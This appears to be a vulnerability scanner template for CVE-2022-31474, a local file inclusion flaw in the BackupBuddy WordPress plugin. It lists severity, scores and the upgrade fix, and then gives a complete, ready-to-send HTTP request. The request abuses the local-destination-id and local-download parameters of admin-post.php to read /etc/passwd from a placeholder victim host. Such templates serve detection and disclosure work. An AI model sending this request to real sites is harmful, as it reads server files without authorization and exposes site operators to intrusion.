| Title | BackupBuddy - Local File Inclusion |
|---|---|
| Author | aringo |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the server. |
| Remediation | Upgrade to at least version 8.7.5 or higher |
| CVSS Score | 7.5 |
| EPSS Score | 0.92613 |
| CVE ID | CVE-2022-31474 |
| CWE ID | CWE-22 |
| Tags | cve cve2022 wordpress wp-plugin wp lfi backupbuddy ithemes vkev vuln |
BackupBuddy versions 8.5.8.0 - 8.7.4.1 are vulnerable to a local file inclusion vulnerability via the ‘download’ and ‘local-destination-id’ parameters.
GET /wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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